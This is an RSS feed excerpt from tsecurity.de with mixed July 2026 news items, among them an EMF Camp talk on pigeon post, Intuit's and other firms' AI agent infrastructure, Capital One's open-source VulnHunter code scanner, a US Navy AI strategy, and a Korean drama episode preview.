<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Pigeons - what are they good for? Quite a lot, actually. 

In this talk, we'll be winging it together as we look at the history of moving information around via feathernet connection, homing in on how pigeons work, and (bird)seeding ideas for why we might still need pigeon post in future. 

On our journey, we’ll look at…
- heroic pigeons of the past and the people who fancied them
- how pigeons work, and why this makes them useful
- how pigeons compare to the internet, including ‘IP over Avian Carrier'
- how to stop your data being eaten by a hawk

And there'll probably be puns.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/223-store-carry-forward-the-networking-genius-of-pigeons]]></content:encoded>
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<title><![CDATA[Chinese solar company says its new cell has an efficiency of 35.5 percent]]></title>
<description><![CDATA[Chinese company LONGi has developed crystalline silicon-perovskite tandem solar cells with a 35.5 percent conversion efficiency.]]></description>
<link>https://tsecurity.de/de/3678047/it-nachrichten/chinese-solar-company-says-its-new-cell-has-an-efficiency-of-355-percent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678047/it-nachrichten/chinese-solar-company-says-its-new-cell-has-an-efficiency-of-355-percent/</guid>
<pubDate>Sat, 18 Jul 2026 15:18:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Chinese company LONGi has developed crystalline silicon-perovskite tandem solar cells with a 35.5 percent conversion efficiency.]]></content:encoded>
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<title><![CDATA[Reconstructing a 19th-Century Riverside Community with Historical GIS (emf2026)]]></title>
<description><![CDATA[I am a genealogist who uses maps and technology to explore how people lived. Historical GIS (HGIS) applies GIS tools to historical sources to understand how places and communities changed over time. In this presentation, I will show how I used HGIS to aid genealogical research by integrating QGIS...]]></description>
<link>https://tsecurity.de/de/3677824/it-security-video/reconstructing-a-19th-century-riverside-community-with-historical-gis-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677824/it-security-video/reconstructing-a-19th-century-riverside-community-with-historical-gis-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 12:18:27 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I am a genealogist who uses maps and technology to explore how people lived. Historical GIS (HGIS) applies GIS tools to historical sources to understand how places and communities changed over time. In this presentation, I will show how I used HGIS to aid genealogical research by integrating QGIS with 1840 tithe maps, OS maps, OpenStreetMap data, and census records to trace households and buildings along a Hampshire riverside street from 1840 to 1921. The aim is to provide an overview of HGIS in genealogy, including aligning historical maps with modern coordinates, linking people to properties, and answering questions through a single spatial view.

After creating the core map, I focused on linking people to specific properties over time. I imported a colour map scan into QGIS, traced buildings, and connected them to census records and parish registers. This involved addressing challenges such as name variants, multi-household properties, and short-term moves within the same area. I also encountered surprises and limitations, including the feasibility of reconstructing a census enumerator’s route in a close-knit community.

Once mapped and interconnected, patterns emerged that are not immediately obvious from the documents alone. Properties such as inns and boatyards showed long-standing kinship ties among households, with related families moving between nearby buildings and maintaining connections over decades. I will share how integrating maps with records clarified who lived where, highlighted clusters of work and occupation, and gave a detailed view of how this riverside community evolved over time.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/87-reconstructing-a-19th-century-riverside-community]]></content:encoded>
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<title><![CDATA[The Pentagon's new AI playbook treats slow adoption as a bigger risk than "imperfect alignment"]]></title>
<description><![CDATA[The US Department of the Navy has signed a strategy to "weaponize" data and AI and build an "AI-first" fleet. Large language models would run directly on warships, and an AI war council would prioritize mission scenarios. The core message is that moving too slowly carries greater risks than "impe...]]></description>
<link>https://tsecurity.de/de/3677699/ai-nachrichten/the-pentagons-new-ai-playbook-treats-slow-adoption-as-a-bigger-risk-than-imperfect-alignment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677699/ai-nachrichten/the-pentagons-new-ai-playbook-treats-slow-adoption-as-a-bigger-risk-than-imperfect-alignment/</guid>
<pubDate>Sat, 18 Jul 2026 10:33:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/07/US-Navy-Weaponize-AI.png" class="attachment-full size-full wp-post-image" alt="Illustration of a U.S. Navy destroyer with a binary data stream and target markers, symbolizing AI-based weapons integration." decoding="async" fetchpriority="high"></p>
<p>        The US Department of the Navy has signed a strategy to "weaponize" data and AI and build an "AI-first" fleet. Large language models would run directly on warships, and an AI war council would prioritize mission scenarios. The core message is that moving too slowly carries greater risks than "imperfect alignment."</p>
<p>The article <a href="https://the-decoder.com/the-pentagons-new-ai-playbook-treats-slow-adoption-as-a-bigger-risk-than-imperfect-alignment/">The Pentagon's new AI playbook treats slow adoption as a bigger risk than "imperfect alignment"</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[Intuit scrapped its own AI agent architecture twice in four months. At VB Transform 2026, its AI VP called that the fast path]]></title>
<description><![CDATA[Intuit was an early pioneer in the usage of agentic AI, but its path to success has hardly been a straight line.At VB Transform 2026, Intuit VP of AI Nhung Ho described how the company rebuilt its agent architecture twice in the span of about four months, first moving from a fleet of specialist a...]]></description>
<link>https://tsecurity.de/de/3677037/it-nachrichten/intuit-scrapped-its-own-ai-agent-architecture-twice-in-four-months-at-vb-transform-2026-its-ai-vp-called-that-the-fast-path/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677037/it-nachrichten/intuit-scrapped-its-own-ai-agent-architecture-twice-in-four-months-at-vb-transform-2026-its-ai-vp-called-that-the-fast-path/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Intuit was an<a href="https://venturebeat.com/ai/how-intuit-plans-to-use-agentic-ai-to-automate-complex-business-tasks"> early pioneer</a> in the usage of agentic AI, but its path to success has hardly been a straight line.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, Intuit VP of AI Nhung Ho described how the company rebuilt its agent architecture twice in the span of about four months, first moving from a fleet of specialist agents to a central orchestration layer, then abandoning that layer for a skills and tools based system once the orchestrator itself started failing under its own complexity. The full second rebuild took 60 days, with a first working version in under 20.</p><p>The failure mode that forced the second rewrite was specific. Agents in the orchestrated system passed results to each other in natural language, and each handoff lost context the next agent needed to act correctly. </p><p>"If you have 10 agents and they all are passing to each other, every time that pass happens, error compounds," Ho said.</p><h2>Why the orchestration layer broke down</h2><p>Ho said the original push toward specialist agents came from a straightforward customer complaint. A fleet of capable agents is still something a customer has to manage, deciding which agent to use for which task. Intuit's answer was a system that could take a task and route it internally, without asking the customer to pick an agent themselves.</p><p>That orchestration layer held up for about three months, which Ho described only half joking as roughly a year in the compressed timeline of agent development in 2026.</p><p>It broke for a structural reason rather than a capacity one. Passing outcomes between agents in natural language meant each downstream agent had to infer how the upstream agent reached its conclusion, and that inference degraded with each additional hop. A ten agent chain did not fail occasionally, it compounded errors by design.</p><p>That diagnosis is what sent Intuit back to a skills and tools architecture.</p><h2>The 60-day rebuild, and what it took to get engineering buy-in</h2><p>Rebuilding a production agent system in 60 days required more than an architectural decision. Ho said the harder problem was internal, convincing both leadership and the engineers who had built the original agents that scrapping recent work was the right call.</p><p>The pitch to leadership relied on evidence rather than argument. Ho's team built a demo of the new architecture using real customer queries pulled from production, then showed it performing better than the existing system on the same tasks. </p><p>"The best proof, at least my belief, is what are customers trying to do? And whatever system you build needs to address those problems," Ho said.</p><p>Winning over engineering required a different case. Hundreds of engineers outside Ho's core team had built the specialist agents being retired, and the ask was to take their agents apart into individual skills and tools instead. </p><p>Ho said the motivating argument was scale. A standalone agent solved one narrow problem, while a shared skill or tool built into the new architecture could serve every customer who touched that part of the product. That shift also changed what partner teams were responsible for day to day, moving their focus from building agents to running evals, since evals became the only way to measure whether the new architecture was actually working.</p><h2>Bringing a human into the loop, and feedback at a different scale</h2><p>The clearest customer facing result of the rebuild is a feature that lets a live agent conversation pull in a human — though it's currently in early testing, live to about 1% of Intuit's customer base. "We're going to be scaling it up in the next few weeks," she said.</p><p>Ho said a customer can bring in an Intuit product support person mid conversation, or their own accountant, or one of Intuit's own bookkeepers, and that person joins with the full context of what the agent has already done.</p><p>Ho drew a direct contrast with how most AI chat products handle the same situation. A general purpose assistant answering a tax question typically ends with a disclaimer to consult a professional. Intuit's system is built to connect the customer to that professional directly, inside the same conversation.</p><p>That human handoff sits alongside a permissions model built for financial data specifically. Every action an agent takes on a customer's financial data requires explicit permission first, though Ho said that requirement can ease over time as customers build trust in the system. Intuit keeps an audit log of everything an agent does that can be reversed if needed.</p><h2>Feedback in the agentic AI era</h2><p>The rebuild also changed how Intuit gathers and uses feedback, a shift Ho said is qualitatively different from what came before. </p><p>"Feedback in the past used to be very, very sparse, and it was also very bimodal," Ho said. "Either they loved it or they hated it, and usually it tends towards the negative."</p><p>In a chat based system, every conversation functions as feedback, which Ho said moved the company from roughly 0.3% of customers ever giving explicit feedback to something close to 100%.</p><p>Ho said she has returned to writing code herself specifically to build models that analyze that feedback volume systematically, looking for where the system is falling short at a scale no manual review process could keep up with.</p><p>That volume comes with a tone most product teams aren't used to hearing directly. Customers tell the agent exactly where it failed, in plain terms.</p><p>"They straight up tell you, 'You suck. I hate this. This is not right,'" Ho said. "But they're also willing to give the systems grace and correct it as well, and so the onus is on all of us to harvest this new piece of feedback and type of feedback, and actually improve the system."</p>]]></content:encoded>
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<title><![CDATA[Capital One releases VulnHunter, an open-source AI tool that finds software flaws before hackers do]]></title>
<description><![CDATA[Capital One on Thursday released VulnHunter, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and now a...]]></description>
<link>https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.capitalone.com/">Capital One</a> on Thursday released <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and <a href="https://github.com/capitalone/vulnhunter">now available on GitHub</a> under an Apache 2.0 license, is one of the most ambitious attempts by a major financial institution to turn offensive AI capabilities into a public defensive resource.</p><p>The move marks a striking philosophical turn for a company still defined, in many boardrooms, by a <a href="https://www.capitalone.com/digital/facts2019/">2019 data breach</a> that compromised the personal information of roughly 106 million people across the United States and Canada and ultimately cost the bank an <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">$80 million federal fine</a>.</p><p>Capital One is not simply releasing another vulnerability scanner. VulnHunter introduces what the company calls an "<a href="https://github.com/capitalone/vulnhunter">attacker-first forward analysis</a>" — a workflow in which the tool begins at the points where a real adversary would enter a system, such as APIs, network messages, or file uploads, and reasons forward through the application's logic to determine whether an exploit path actually survives the code's existing defenses. Conventional scanners typically work in reverse, flagging a dangerous-looking code pattern and then searching backward for a hypothetical attacker. That approach, security practitioners widely acknowledge, buries engineering teams under avalanches of false positives.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> attacks that problem head-on with a second innovation: a built-in "falsification engine" that tries to disprove its own findings before a developer ever sees them. After the tool surfaces a potential vulnerability, a structured reasoning workflow hunts for logical gaps, unsupported assumptions, and conditions that would prevent the attack from succeeding. Only findings the engine fails to rule out reach a human reviewer — and when they do, VulnHunter delivers not just an alert but a full explanation of the exploit path and a proposed code fix ready for engineering review.</p><p>The tool currently runs on Anthropic's <a href="https://www.anthropic.com/news/claude-opus-4-8">Claude Opus 4.8 model</a> inside a Claude Code environment, though Capital One says the framework has the potential to work across other foundation models and coding harnesses.</p><h2><b>The 2019 breach that reshaped how Capital One thinks about cybersecurity</b></h2><p>To understand why Capital One chose to open-source a tool this consequential, you have to understand the scar tissue.</p><p>On July 19, 2019, <a href="https://www.capitalone.com/digital/facts2019/">Capital One disclosed </a>that an outside individual — later identified as a former Amazon Web Services employee named Paige Thompson — had gained unauthorized access to names, addresses, self-reported income, Social Security numbers, and linked bank account numbers belonging to credit card customers and applicants. The breach, which Capital One says occurred on March 22 and 23, 2019, was discovered only after an external security researcher flagged a configuration vulnerability through the company's <a href="https://www.capitalone.com/digital/responsible-disclosure/">Responsible Disclosure Program</a> on July 17 of that year.</p><p>The damage was sweeping. Approximately <a href="https://www.npr.org/2019/07/30/746687015/100-million-people-in-the-u-s-affected-by-capital-one-data-breach">100 million people in the United States</a> and 6 million in Canada were affected. Roughly 140,000 Social Security numbers, about 80,000 linked bank account numbers, and approximately 1 million Canadian Social Insurance Numbers were compromised. The FBI arrested Thompson, and the government stated it believed the data had been recovered with no evidence of fraud. But the reputational and regulatory toll was enormous.</p><p>In August 2020, the Office of the Comptroller of the Currency <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">fined Capital One $80 million</a>, finding that the bank had failed to adequately identify and manage risks as it migrated significant technology operations to the cloud. As Reuters reported at the time, the OCC's consent order cited insufficient network security controls, inadequate data loss prevention measures, and a board that failed to hold management accountable when internal auditing surfaced problems. The OCC also ordered Capital One to overhaul its operations and submit new cybersecurity plans for regulatory review.</p><p>The incident became an industry case study in the dangers of moving fast with new technology. As <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop reported</a> in July 2019, a cybersecurity executive at a competing financial company observed that the breach "could be the result of trying too many new things and forcing them through." Capital One's own CEO, Richard D. Fairbank, acknowledged the gravity of the moment. "While I am grateful that the perpetrator has been caught, I am deeply sorry for what has happened," Fairbank said at the time. "I sincerely apologize for the understandable worry this incident must be causing those affected and I am committed to making it right."</p><h2><b>How Capital One rebuilt its security reputation through open-source investment</b></h2><p>What followed was not a retreat from technology but a doubling down — with security explicitly at the center.</p><p>Capital One had declared itself an "<a href="https://capitalonesoftware.com/blog/cloud-migration-journey">open-source first</a>" company in 2015 as part of a broader technology transformation that began over a decade ago. After the breach, the company accelerated its investments in software supply chain security, open-source governance, and AI-driven defense. In August 2022, Capital One joined the <a href="https://openssf.org/">Open Source Security Foundation</a> as a premier member, earning a seat on the organization's Governing Board. Chris Nims, then EVP of Cloud &amp; Productivity Engineering, framed the move as a natural extension of the company's operating philosophy. "As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration," Nims said in the <a href="https://openssf.org/press-release/2022/08/24/capital-one-joins-open-source-security-foundation/">OpenSSF announcement</a>.</p><p>Behind that public commitment lay a substantial operational apparatus. Capital One's <a href="https://www.capitalone.com/tech/open-source/">Open Source Program Office</a>, now in its third iteration, manages open-source usage, contributions, and community building across the enterprise. The company has released more than 25 open-source projects and made over 2,000 contributions to approximately 135 external open-source projects, according to the company's own disclosures. Those efforts address not just code dependencies but the entire software development lifecycle — DevSecOps tools, infrastructure, and the collaborative environments, both internal and external, that shape how software gets built and shipped.</p><p>Nureen D'Souza, the director who leads Capital One's OSPO, has spoken publicly about the philosophy underpinning this work. At cdCon 2022, D'Souza described a "company-wide culture with security ingrained" that allows developers to focus on innovation rather than maintenance chores, as <a href="https://sdtimes.com/os/how-capital-one-is-strengthening-the-software-supply-chain/">reported by SD Times</a>. The OSPO's charter emphasizes three pillars: standardization of open-source processes, automation of security policies throughout the delivery pipeline, and ecosystem sustainability through upstream contributions to the foundations and projects the company depends on.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> is the most consequential product of that multi-year effort — and the clearest signal yet that Capital One views open-source collaboration not as charity but as a competitive security strategy. The company argues that modern software supply chains are so deeply interconnected that a single vulnerability in a widely used open-source component can cascade across thousands of enterprises simultaneously. Proprietary defenses, no matter how sophisticated, cannot address a problem that is fundamentally communal. By releasing VulnHunter under a permissive license, Capital One invites the global security research community to stress-test, extend, and improve the tool — effectively crowdsourcing its own defense infrastructure while strengthening the broader ecosystem.</p><h2><b>Inside VulnHunter's three-stage AI engine for finding exploitable code</b></h2><p>For engineering leaders evaluating <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, the technical architecture is where the tool's ambitions become concrete. The workflow unfolds in three distinct stages.</p><p>In the first stage — attacker-first forward analysis — VulnHunter begins at the points where an external adversary would interact with a system: API endpoints, network message handlers, file upload interfaces. From each entry point, the tool reasons forward through application logic, tracing data flows, transformations, and internal security checkpoints to determine whether an attacker can actually reach a dangerous code path. This approach mirrors how a skilled penetration tester would probe a system, but automates the process at a scale no human team could match.</p><p>The second stage is where VulnHunter departs most sharply from conventional scanners. After identifying a potential vulnerability, the falsification engine runs a structured reasoning workflow designed to disprove its own conclusion. It searches for assumptions that do not hold, logical gaps in the exploit path, and environmental conditions that would prevent an attack from succeeding. Findings that fail this internal challenge are discarded before any developer sees them. Capital One's explicit goal is to shift the developer's burden away from triaging false alarms — a perennial pain point that erodes trust in security tooling and slows development velocity.</p><p>In the third stage, vulnerabilities that survive the falsification engine trigger an evidence-backed remediation workflow. VulnHunter gathers supporting evidence across the codebase, maps the complete surviving exploit path, explains the defect and the specific capabilities an attacker would gain, and generates targeted code changes for engineering review. The output is not a generic advisory but a concrete, context-aware patch proposal.</p><p>Capital One says it validated VulnHunter internally before release, running it across thousands of repositories spanning tens of business areas. The company reports that the tool identified and remediated vulnerabilities with speed and efficiency that far exceeded what its teams previously achieved through manual triage.</p><h2><b>Why AI-powered attacks are forcing banks to rethink traditional cyber defenses</b></h2><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> arrives at a moment when the cybersecurity landscape is shifting beneath the feet of every enterprise. Capital One's announcement frames the urgency in stark terms: advanced AI models have "dramatically lowered the barrier for bad actors to discover and exploit vulnerabilities in software," and the window before sophisticated AI attack capabilities become affordable and accessible to virtually every adversary is shrinking rapidly.</p><p>The company's own AI security researchers have been tracking these trends closely. At <a href="https://www.capitalone.com/tech/software-engineering/secon-2024/">NeurIPS 2024</a> in Vancouver, Capital One's team presented research and curated a list of nearly 100 papers spanning LLM safety, adversarial resilience, jailbreak attacks, and synthetic data generation. The papers they highlighted — including work on multi-agent defense frameworks, automated red-teaming, and guardrail classifiers — paint a picture of an arms race in which offensive and defensive AI capabilities are co-evolving at breakneck speed.</p><p>Several of those research themes map directly onto VulnHunter's architecture. The falsification engine echoes the adversarial defense strategies explored in papers like "<a href="https://pure.psu.edu/en/publications/backdooralign-mitigating-fine-tuning-based-jailbreak-attack-with-/fingerprints/?sortBy=alphabetically">BackdoorAlign</a>," which demonstrated that embedding a structured safety mechanism into a small number of training examples could recover a model's safety alignment without degrading performance. The attacker-first forward analysis reflects the philosophy of "<a href="https://arxiv.org/html/2406.18510v1">WildTeaming</a>," a framework that collects and analyzes real-world jailbreak attempts to build more resilient models. And VulnHunter's emphasis on minimizing false positives parallels the goals of "GuardFormer," a guardrail classifier that outperformed GPT-4 on safety benchmarks while running 14 times faster.</p><p>The thread connecting all of this work is a conviction that traditional, reactive security — monitoring networks, patching known vulnerabilities, responding to incidents after they occur — is no longer sufficient when adversaries can use AI to discover and exploit zero-day vulnerabilities at machine speed. The only durable defense, Capital One argues, is to find and fix the vulnerabilities in your own code before attackers find them first.</p><h2><b>What Capital One's cloud security journey reveals about the entire banking industry</b></h2><p>Capital One's arc from breach victim to open-source security contributor also illuminates a broader reckoning across financial services. When Capital One <a href="https://www.latimes.com/business/story/2019-07-30/capital-one-cloud-safety-hacker-breach">moved aggressively to Amazon Web Services</a> in the mid-2010s, it was a rarity among major banks. Most financial institutions simply did not trust third parties to store their most sensitive data. Capital One's CIO at the time, Rob Alexander, <a href="https://www.forbes.com/sites/peterhigh/2016/12/12/how-capital-one-became-a-leading-digital-bank/">publicly championed the cloud</a> as more secure than the bank's own data centers — a claim that the 2019 breach complicated considerably.</p><p>The <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop report</a> from that period captured the tension within the industry. W. Patrick Opet, managing director of cybersecurity at JP Morgan Chase, described a cultural shift in banking from prioritizing traders to prioritizing developers: "Now, it's 'Focus on the developer, turn everything into code, and automate everything.'" Mark Nicholson, Deloitte's cyber leader for the financial industry, noted that the pressure to move quickly was exposing "weaknesses in the development methodology." And the breach itself was a reminder that even as Chase spent $600 million annually on cybersecurity, relatively simple vulnerabilities — like the Apache Struts bug that enabled the Equifax breach — could undercut massive investments in data protection.</p><p>Seven years later, the industry has largely followed Capital One into the cloud, and the security challenges have only intensified. The question is no longer whether to use cloud infrastructure but how to secure the software that runs on it. VulnHunter represents Capital One's answer: rather than relying solely on network-level controls and perimeter defenses, push security directly into the code itself, at the moment it is written. The open-source release also carries implicit competitive pressure. If VulnHunter gains traction among developers and security teams, it could set a new baseline for what enterprise security tooling is expected to do — and force rival banks, fintechs, and cloud providers to match or exceed its capabilities.</p><p>Whether <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> lives up to that ambition will depend on adoption, community engagement, and the tool's real-world performance against the increasingly sophisticated AI-powered attacks it was designed to counter. But the release itself tells a story that extends well beyond any single tool or any single company. In 2019, a misconfigured firewall exposed 100 million records and turned Capital One into a cautionary tale about the cost of moving fast without moving carefully. In 2026, the same institution is open-sourcing the kind of AI-driven defense it wishes it had built sooner — and betting that the best way to protect its own code is to help the entire industry protect theirs.</p><p>
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<title><![CDATA[Agents think in milliseconds, legacy infrastructure doesn't. LinkedIn, Walmart and Zendesk shared how they closed the gap at VB Transform 2026]]></title>
<description><![CDATA[Legacy infrastructure, not the models themselves, is what's actually slowing AI agents down. That was the shared conclusion of three infrastructure leaders — from LinkedIn, Walmart, and Zendesk — at VB Transform 2026.The panel brought together Animesh Singh, senior director of AI platform and inf...]]></description>
<link>https://tsecurity.de/de/3676906/it-nachrichten/agents-think-in-milliseconds-legacy-infrastructure-doesnt-linkedin-walmart-and-zendesk-shared-how-they-closed-the-gap-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676906/it-nachrichten/agents-think-in-milliseconds-legacy-infrastructure-doesnt-linkedin-walmart-and-zendesk-shared-how-they-closed-the-gap-at-vb-transform-2026/</guid>
<pubDate>Fri, 17 Jul 2026 21:32:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Legacy infrastructure, not the models themselves, is what's actually slowing AI agents down. That was the shared conclusion of three infrastructure leaders —<!-- --> from LinkedIn, Walmart, and Zendesk —<!-- --> at<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>.</p><p>The panel brought together Animesh Singh, senior director of AI platform and infrastructure at LinkedIn, Desiree Gosby, SVP of corporate technology services and technology strategy at Walmart, and Sami Ghoche, VP of applied AI at Zendesk, each describing what actually broke when they moved agents from pilot to production. Each arrived at the same conclusion from a different starting point: None of the bottlenecks they hit were model problems.</p><p>What tied their answers together was a shared premise: most enterprise infrastructure was built for how humans work, not for how agents work. The gap between those two speeds is where the real engineering happened.</p><p>Gosby put it plainly when asked what she'd learned scaling agents inside Walmart's own workforce. The goal, she said, is to make sure "engineering doesn't once again become the bottleneck for what it is we're trying to do."</p><h2><b>Where the bottleneck actually was</b></h2><p>Each company hit a different version of the same wall: infrastructure designed for how people work doesn't hold up once agents are doing the work instead.</p><p>At LinkedIn, the first bottleneck wasn't a model, it was Kubernetes, which assumes containers spin up on demand, a process that takes seconds. Singh said that's too slow for agents. The fix was moving from on-demand provisioning to pre-provisioned pools of containers that swap agentic workloads in and out in real time.</p><p>A second, harder problem surfaced once LinkedIn let agents control their own orchestration. A five-point evaluation system looked clean, but hallucination kept showing up anyway. Singh said the issue was structural, an LLM evaluating another LLM's output shares the same failure mode as the thing it's evaluating. </p><p>"We built our own harness, our own control flow, and pushed the LLMs to the leaf instead of them orchestrating the loop," Singh said. Roughly 80% of the workflow is now scripted, deterministic code, with LLMs used only where reasoning is required, and each step's evidence is committed to disk before the system moves on.</p><p>Walmart's bottleneck came from success. An agent harness put directly into employees' hands went viral internally, and what Gosby called "citizen developers" began building their own agents to solve problems that once required a formal engineering roadmap. The upside was real innovation. The downside was duplication, dozens of overlapping agents with no coordination. The fix wasn't reining in the harness, it was building governance to spot duplication, promote the best version of an agent, and get it into production without engineering becoming a chokepoint.</p><p>Zendesk hit its bottleneck from the data side. Ghoche, who joined through <a href="https://www.zendesk.com/newsroom/press-releases/zendesk-completes-acquisition-of-forethought/">Zendesk's acquisition of Forethought</a>, which closed in March 2026, described sitting on what he called a public figure of 20 billion customer conversations in Zendesk's repository. The instinct is to hand that history to a large language model with a big context window and let it generate the agents a business needs. Ghoche said that doesn't work. "You can't really do that, so instead you have to really invest in the underlying data pipelines and all the data infrastructure that comes with that," he said.</p><h2>The role of open source</h2><p>On open source, all three leaders landed on a similar instinct: own what you can, and lean on frontier labs only where they still have a clear edge.</p><p>Ghoche said his own view is that most enterprises would prefer to own their models and infrastructure wherever that's possible, and that reasoning is what drives Zendesk's own approach. The exception is frontier reasoning work, where the labs still lead, though he said that slice of use cases is shrinking relative to everything else enterprises now do with AI.</p><p>LinkedIn's answer was to build two subsystems specifically for independence. The first is what the company calls an AI gateway, a single interface that every outbound call to a model runs through regardless of provider. The second component is a memory subsystem built to hold context independent of any model provider.</p><p>"Every single outbound call going to an LLM, whether it's on a public cloud or on-prem in our own data centers, follows the same semantics, the same API calls. We can quickly switch between different providers," Singh said. </p><p>Walmart built its own internal gateway to stay vendor agnostic across three workload types: fully deterministic workflows, planner-and-reasoner workflows for open-ended tasks, and a hybrid of the two. Compliance-heavy work stays deterministic by design; governance, security and evaluation run through the gateway regardless of which model is on the other end. Gosby said the choice between a frontier model and an open-weight model comes down to whichever is most effective for the specific workload, not a fixed policy.</p><h2>Advice for the modernization journey</h2><p>Three pieces of advice came up directly, each tied to the wall a leader had already hit.</p><p><b>Invest in evals before anything else.</b> Ghoche called it the thing common to every use case, internal or customer facing. </p><p>"The thing that's common to all of these is evals. It'll force you to break the problem down, and once you have a robust set of evals, you can move a lot faster," he said, </p><p><b>Own your agent harness from day one.</b> Gosby's advice was to put the AI harness directly in employees' hands early, paired with the infrastructure to monitor what it produces. </p><p>"It will unlock a huge amount of innovation," she said.</p><p><b>Build for model and context independence.</b> Ensuring flexibility is critical for success.</p><p>"Build for independence, whether it's a frontier model of today versus an open source model of tomorrow," Singh said. "Keep that context within your enterprise so that you can reuse it when you ship the model or the harness tomorrow," Singh said.</p>]]></content:encoded>
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<title><![CDATA[Agent Kim Reactivated Episode 8: Release Date, Time, Spoilers and What to Expect]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 8 will be released on Saturday, July 18, 2026, as Manager Kim’s fight against the Special Missions Directorate enters another dangerous stage.



The Korean action thriller airs every Friday and Saturday on SBS at 9:50 p.m. KST. New episodes also stream international...]]></description>
<link>https://tsecurity.de/de/3676829/ios-mac-os/agent-kim-reactivated-episode-8-release-date-time-spoilers-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676829/ios-mac-os/agent-kim-reactivated-episode-8-release-date-time-spoilers-and-what-to-expect/</guid>
<pubDate>Fri, 17 Jul 2026 20:40:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 8 will be released on Saturday, July 18, 2026, as Manager Kim’s fight against the Special Missions Directorate enters another dangerous stage.



The Korean action thriller airs every Friday and Saturday on SBS at 9:50 p.m. KST. New episodes also stream internationally on Netflix, although the exact availability time can differ slightly by region.




Episode: Season 1, Episode 8



Release date: Saturday, July 18, 2026



SBS broadcast time: 9:50 p.m. KST



India time: Around 6:20 p.m. IST



Streaming platform: Netflix



Genre: Action, revenge, mystery and thriller



Total episodes: 10



Lead actor: So Ji-sub



Based on: The webtoon Manager Kim




Episode 8 will arrive one day after Episode 7, which aired on Friday, July 17. The show is now moving into its final stretch, with only two episodes remaining after this weekend.



What happened before Episode 8?



Spoiler warning: The following section discusses major events from the previous episodes.



The story follows Manager Kim, an ordinary office worker and devoted father who secretly possesses years of experience as an elite operative. His quiet life collapses after his daughter, Min-ji, disappears, forcing him to use the violent skills he had tried to leave behind.



During the July 11 episode, Manager Kim finally reached the Special Task Bureau headquarters and reunited with Min-ji. However, finding her did not immediately end the danger. The Special Missions Directorate continued using both father and daughter as part of a larger plan, while special agent Jung Sang-a became involved in Min-ji’s rescue.



Manager Kim’s former allies have also played an important role in the search. Seong Han-su and Park Jin-cheol bring their own fighting experience and personal motivations, giving the series its central group of dangerous fathers. Their friendship provides lighter moments, although each new confrontation reveals more about Kim’s hidden past.



What can viewers expect from Episode 8?



An official detailed synopsis for Episode 8 has not been released. However, the episode should continue the conflict between Manager Kim and the organisation responsible for targeting his family.



The reunion with Min-ji changes Kim’s immediate mission, but both characters remain surrounded by enemies. He now needs to get her out safely while learning why the Special Missions Directorate wanted to draw him back into action.



Episode 8 could also reveal more about the operation that shaped Kim’s earlier life. The drama has gradually used flashbacks to explain how he became a feared agent, including an extended sequence showing his past. These revelations can help connect Min-ji’s kidnapping to people who have unfinished business with her father.



With the season approaching its final episodes, the story is likely to shift from the rescue mission toward a direct confrontation with the people controlling events from behind the scenes.



Agent Kim Reactivated has also become a major international hit, reaching the top of Netflix’s non-English TV chart and attracting strong television ratings in South Korea.



